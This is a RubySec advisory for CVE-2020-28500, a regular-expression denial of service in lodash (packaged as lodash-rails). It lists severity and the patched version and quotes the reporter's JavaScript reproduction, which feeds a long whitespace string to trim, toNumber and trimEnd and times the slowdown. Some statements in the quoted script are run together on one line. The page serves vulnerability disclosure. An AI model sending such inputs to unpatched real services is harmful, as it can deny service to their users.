RubySec

Providing security resources for the Ruby community

CVE-2020-28500 (lodash-rails): Regular Expression Denial of Service (ReDoS) in lodash

ADVISORIES

GEM

lodash-rails

SEVERITY

CVSS v3.x: 5.3 (Medium)

CVSS v2.0: 5.0 (Medium)

PATCHED VERSIONS

  • >= 4.17.21

DESCRIPTION

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

Steps to reproduce (provided by reporter Liyuan Chen):

  var lo = require('lodash');

  function build_blank(n) {
     var ret = "1"
     for (var i = 0; i < n; i++) {
         ret += " "
     }
     return ret + "1";
 }
 var s = build_blank(50000) var time0 = Date.now();
 lo.trim(s)
 var time_cost0 = Date.now() - time0;
 console.log("time_cost0: " + time_cost0);
 var time1 = Date.now();
 lo.toNumber(s) var time_cost1 = Date.now() - time1;
 console.log("time_cost1: " + time_cost1);
 var time2 = Date.now();
 lo.trimEnd(s);
 var time_cost2 = Date.now() - time2;
 console.log("time_cost2: " + time_cost2);

RELATED

Contact us @rubysec or open an issue on our GitHub repository.

Recent Advisories